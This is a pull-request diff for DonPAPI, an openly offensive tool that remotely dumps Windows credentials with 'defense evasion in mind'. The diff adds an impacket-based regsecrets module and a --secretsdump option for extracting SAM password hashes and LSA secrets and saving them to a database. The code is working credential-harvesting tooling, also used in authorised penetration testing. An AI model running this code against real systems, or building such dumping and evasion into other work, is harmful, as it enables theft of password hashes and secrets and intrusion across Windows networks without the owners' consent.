Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# DonPAPI

DonPAPI automates secrets dump remotely on multiple Windows computers, with defense evasion in mind.
DonPAPI automates regsecrets (or secretsdump) remotely on multiple Windows computers, with defense evasion in mind.

![DonPAPI Logo](./assets/Logo%20DonPapi.png)

Expand Down Expand Up @@ -132,6 +132,7 @@ attacks:
Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all
previous) (default: All)
-nr, --no-remoteops Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)
-sc, --secretsdump Use secretsdumps instead of regsecrets for dumping SAM and LSA
--fetch-pvk Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller
--pvkfile PVKFILE Pvk file with domain backup key
--pwdfile PWDFILE File containing username:password that will be used eventually to decrypt masterkeys
Expand Down
58 changes: 40 additions & 18 deletions donpapi/core.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,11 +2,13 @@
import json
import ntpath
import os
import traceback
from typing import Dict, List
from impacket.dcerpc.v5 import rrp
from donpapi.lib.config import DEFAULT_CUSTOM_SHARE, DonPAPIConfig
from donpapi.lib.database import Database
from donpapi.lib.secretsdump import DonPAPIRemoteOperations, LSADump, SAMDump
from donpapi.lib import regsecrets
from donpapi.lib import secretsdump
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from dploot.triage.masterkeys import MasterkeysTriage, Masterkey
Expand Down Expand Up @@ -46,6 +48,8 @@ def __init__(self, options: argparse.Namespace, db: Database, target: str, colle
self.lsa_dump = None
self.dpapi_systemkey = None
self.hostname = None
self.do_kerberos = options.k
self.use_secretsdump = options.secretsdump
self.dploot_target = Target.create(
domain=options.domain,
username=options.username if options.username is not None else "",
Expand Down Expand Up @@ -116,15 +120,28 @@ def enable_remoteops(self):
if self.dploot_conn is not None and self.remoteops_allowed:
try:
if self.dpp_remoteops is None:
self.dpp_remoteops = DonPAPIRemoteOperations(
smb_connection=self.dploot_conn.smb_session,
logger=self.logger,
share_name=self.donpapi_config.custom_share,
file_extension=self.donpapi_config.custom_file_extension,
filename_regex=self.donpapi_config.custom_filename_regex,
remote_filepath=self.donpapi_config.custom_remote_filepath,
)
if self.use_secretsdump:
self.dpp_remoteops = secretsdump.DonPAPIRemoteOperations(
smb_connection=self.dploot_conn.smb_session,
logger=self.logger,
share_name=self.donpapi_config.custom_share,
file_extension=self.donpapi_config.custom_file_extension,
filename_regex=self.donpapi_config.custom_filename_regex,
remote_filepath=self.donpapi_config.custom_remote_filepath,
)
else:
self.dpp_remoteops = regsecrets.DonPAPIRemoteOperations(
smbConnection=self.dploot_conn.smb_session,
doKerberos=self.do_kerberos
)

self.dpp_remoteops.enableRegistry()

if self.use_secretsdump:
self.rrp = self.dpp_remoteops._DonPAPIRemoteOperations__rrp
else:
self.rrp = self.dpp_remoteops._RemoteOperations__rrp

if self.bootkey is None:
self.bootkey = self.dpp_remoteops.getBootKey()
except Exception as e:
Expand All @@ -136,45 +153,50 @@ def reg_query_value(self,path,key):
self.enable_remoteops()
if path[:4] == "HKCU":
path = path[5:]
ans = rrp.hOpenCurrentUser(self.dpp_remoteops._DonPAPIRemoteOperations__rrp)
ans = rrp.hOpenCurrentUser(self.rrp)
else:
if path[:4] == "HKLM":
path = path[5:]
ans = rrp.hOpenLocalMachine(self.dpp_remoteops._DonPAPIRemoteOperations__rrp)
ans = rrp.hOpenLocalMachine(self.rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
self.dpp_remoteops._DonPAPIRemoteOperations__rrp,
reg_handle,
path,
)
self.rrp, reg_handle, path)
key_handle = ans["phkResult"]
value = rrp.hBaseRegQueryValue(self.dpp_remoteops._DonPAPIRemoteOperations__rrp, key_handle, key)
value = rrp.hBaseRegQueryValue(self.rrp, key_handle, key)
return value

def dump_sam(self) -> Dict[str,str]:
if self.sam_dump is not None:
return self.sam_dump
self.enable_remoteops()
samdump = SAMDump(remote_ops=self.dpp_remoteops, bootkey=self.bootkey)
if self.use_secretsdump:
samdump = secretsdump.SAMDump(remote_ops=self.dpp_remoteops, bootkey=self.bootkey)
else:
samdump = regsecrets.SAMDump(remote_ops=self.dpp_remoteops, bootkey=self.bootkey)
try:
samdump.dump()
samdump.save_to_db(self.db, self.host)
self.sam_dump = samdump
except:
self.logger.fail("Could not dump SAM.")
self.logger.debug(traceback.format_exc())
return self.sam_dump

def dump_lsa(self) -> Dict[str,str]:
if self.lsa_dump is not None:
return self.lsa_dump
self.enable_remoteops()
lsadump = LSADump(remote_ops=self.dpp_remoteops, bootkey=self.bootkey)
if self.use_secretsdump:
lsadump = secretsdump.LSADump(remote_ops=self.dpp_remoteops, bootkey=self.bootkey)
else:
lsadump = regsecrets.LSADump(remote_ops=self.dpp_remoteops, bootkey=self.bootkey)
try:
lsadump.dump()
lsadump.save_secrets_to_db(self.db, self.host)
self.lsa_dump = lsadump
except:
self.logger.fail("Could not dump LSA")
self.logger.debug(traceback.format_exc())
return self.lsa_dump

def get_laps_pass(self, hostname):
Expand Down
1 change: 1 addition & 0 deletions donpapi/entry.py
Original file line number Diff line number Diff line change
Expand Up @@ -217,6 +217,7 @@ def main():
group_attacks = collect_subparser.add_argument_group('attacks')
group_attacks.add_argument('-c','--collectors', action="store", default="All", help= ", ".join(load_collectors(root, [])[0])+", All (all previous) (default: All). Possible to chain multiple collectors comma separated")
group_attacks.add_argument("-nr","--no-remoteops", action="store_true", help="Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)")
group_attacks.add_argument("-sc","--secretsdump", action="store_true", help="Use secretsdump instead of regsecrets for dumping SAM and LSA")
group_attacks.add_argument("--fetch-pvk", action="store_true", help=("Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller"))
group_attacks.add_argument("--pvkfile", action="store", help=("Pvk file with domain backup key"))
group_attacks.add_argument("--pwdfile", action="store", help=("File containing username:password that will be used eventually to decrypt masterkeys"))
Expand Down
64 changes: 64 additions & 0 deletions donpapi/lib/regsecrets.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,64 @@
from binascii import unhexlify
import logging
from impacket.examples.regsecrets import LSASecrets, SAMHashes, RemoteOperations

class SAMDump:
def __init__(self, remote_ops, bootkey) -> None:
self.remote_ops = remote_ops
self.bootkey = bootkey

self.sam = None
self.items_found = None

def dump(self):
logging.getLogger("impacket").disabled = True
self.sam = SAMHashes(bootKey=self.bootkey, perSecretCallback = self.idle, remoteOps=self.remote_ops)
self.sam.dump()
self.items_found = self.sam._SAMHashes__itemsFound

def save_to_db(self, db, hostname):
for sam_entry in self.items_found.values():
entry = sam_entry.split(':')
db.add_samhash(sam_entry, hostname)
db.add_secret(computer=hostname,collector="SAM",windows_user="SYSTEM",username=entry[0],password=entry[3],program="SAM")

def idle(self, _):
pass

class LSADump(LSASecrets):
def __init__(self, remote_ops, bootkey) -> None:
self.remote_ops = remote_ops
self.bootkey = bootkey

self.lsa = None
self.secrets = None

def dump(self):
logging.getLogger("impacket").disabled = True
self.lsa = LSASecrets(bootKey=self.bootkey, perSecretCallback = self.idle, remoteOps=self.remote_ops)
self.lsa.dumpSecrets()
self.secrets = self.lsa._LSASecrets__secretItems

def get_dpapiSystem_keys(self):
dpapiSystem = {}
for secret in self.secrets:
if secret.startswith("dpapi_machinekey:"):
machineKey, userKey = secret.split('\n')
machineKey = machineKey.split(':')[1]
userKey = userKey.split(':')[1]
dpapiSystem['MachineKey'] = unhexlify(machineKey[2:])
dpapiSystem['UserKey'] = unhexlify(userKey[2:])
return dpapiSystem

def save_secrets_to_db(self, db, hostname):
for lsa_secret in self.secrets:
if lsa_secret.count(':')==1:
username, password = lsa_secret.split(':')
if username not in ['dpapi_machinekey', 'dpapi_userkey', 'NL$KM']:
db.add_secret(computer=hostname, windows_user="SYSTEM", username=username, password=password, collector="LSA")

def idle(self, _, _2):
pass

class DonPAPIRemoteOperations(RemoteOperations):
pass
3 changes: 2 additions & 1 deletion donpapi/lib/secretsdump.py
Original file line number Diff line number Diff line change
Expand Up @@ -29,8 +29,9 @@ def dump(self):

def save_to_db(self, db, hostname):
for sam_entry in self.items_found.values():
entry = sam_entry.split(':')
db.add_samhash(sam_entry, hostname)
db.add_secret(computer=hostname,collector="SAM",windows_user="SYSTEM",username=sam_entry["username"],password=sam_entry["nthash"],program="SAM")
db.add_secret(computer=hostname,collector="SAM",windows_user="SYSTEM",username=entry[0],password=entry[3],program="SAM")

def idle(self, _):
pass
Expand Down
2 changes: 1 addition & 1 deletion pyproject.toml
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@ dpp = 'donpapi.entry:main'

[tool.poetry.dependencies]
python = "^3.10.0"
impacket = ">=0.12.0"
impacket = ">=0.13.0"
dploot = "^3.1.2"
rich = "^13.7.0"
sqlalchemy = "^2.0.25"
Expand Down